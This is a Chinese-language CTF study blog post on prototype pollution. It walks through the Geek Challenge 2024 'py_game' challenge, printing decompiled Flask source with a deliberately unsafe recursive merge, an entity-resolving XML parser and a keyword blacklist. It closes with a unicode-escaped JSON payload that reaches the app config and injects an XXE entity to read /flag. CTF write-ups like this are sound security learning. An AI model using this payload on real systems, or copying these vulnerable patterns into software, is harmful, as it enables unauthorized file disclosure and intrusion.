原型链污染学习

OneZ3r0 Lv3

前言

原型链污染,学习总结,之前都是理解一半

前置知识

常见发生在update和merge合并对象的属性的时候

[参考文章] 浅谈Python原型链污染及利用方式 (可以跟着用pycharm打断点调试,理解原理!)
还有经典的 深入理解 JavaScript Prototype 污染攻击
关于Prototype Pollution Attack的二三事
XXE知识总结,有这篇就够了 这里还有讲到xinclude,之前tpctf里面提到有

一些题目

[极客大挑战2024] py_game

flask-session伪造,pyc反编译,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# uncompyle6 version 3.9.2
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.11.9 (tags/v3.11.9:de54cf5, Apr 2 2024, 10:12:12) [MSC v.1938 64 bit (AMD64)]
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password

def check(self, data):
return self.username == data["username"] and self.password == data["password"]


admin = User("admin", "123456j1rrynonono")
Users = [admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, "__getitem__"):
if dst.get(k):
if isinstance(v, dict):
update(v, dst.get(k))
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
else:
setattr(dst, k, v)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
for u in Users:
if u.username == username:
flash("用户名已存在", "error")
return redirect(url_for("register"))

new_user = User(username, password)
Users.append(new_user)
flash("注册成功!请登录", "success")
return redirect(url_for("login"))
else:
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
for u in Users:
if u.check({'username':username, 'password':password}):
session["username"] = username
flash("登录成功", "success")
return redirect(url_for("dashboard"))

flash("用户名或密码错误", "error")
return redirect(url_for("login"))
else:
return render_template("login.html")


@app.route("/play", methods=["GET", "POST"])
def play():
if "username" in session:
with open("/app/templates/play.html", "r", encoding="utf-8") as file:
play_html = file.read()
return play_html
else:
flash("请先登录", "error")
return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
if "username" in session:
if session["username"] == "admin":
return render_template("admin.html", username=(session["username"]))
flash("你没有权限访问", "error")
return redirect(url_for("login"))


@app.route("/downloads321")
def downloads321():
return send_file("./source/app.pyc", as_attachment=True)


@app.route("/")
def index():
return render_template("index.html")


@app.route("/dashboard")
def dashboard():
if "username" in session:
is_admin = session["username"] == "admin"
if is_admin:
user_tag = "Admin User"
else:
user_tag = "Normal User"
return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
else:
flash("请先登录", "error")
return redirect(url_for("login"))


@app.route("/xml_parse")
def xml_parse():
try:
xml_bytes = app.config["xml_data"].encode("utf-8")
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.fromstring(xml_bytes, parser=parser)
result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
return Response(result_xml, mimetype="application/xml")
except etree.XMLSyntaxError as e:
return str(e)


black_list = [
"__class__".encode(), "__init__".encode(), "__globals__".encode()] # 过滤ssti?还是防止原型链污染

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False

return True


@app.route("/update", methods=["POST"])
def update_route():
if "username" in session:
if session["username"] == "admin":
if request.data:
try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
else:
data = json.loads(request.data.decode()) # json原型链污染
print(data)
if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
update(data, User)
return (jsonify({"message": "更新成功"}), 200)
return ('Invalid character', 400)
except Exception as e:
return (
f"Exception: {str(e)}", 500)

else:
return ('No data provided', 400)
else:
flash("你没有权限访问", "error")
return redirect(url_for("login"))


if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=False)

打污染xml_data,也用到了xxe,unicode编码绕过即可
这里要注意json只解析双引号,而且用bp发包的时候xml里面不能有换行,否则无法正常解析

1
2
3
4
5
6
7
8
9
10
{
"\u005F_init__": {
"\u005F_globals__": {
"app": {
"config": {
"xml_data": "<?xml version='1.0'?><!DOCTYPE root [<!ENTITY xxe SYSTEM '/flag'>]><root>&xxe;</root>" }
}
}
}
}
  • 标题: 原型链污染学习
  • 作者: OneZ3r0
  • 创建于 : 2025-03-18 15:12:25
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/03/18/prototype-pollution/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
原型链污染学习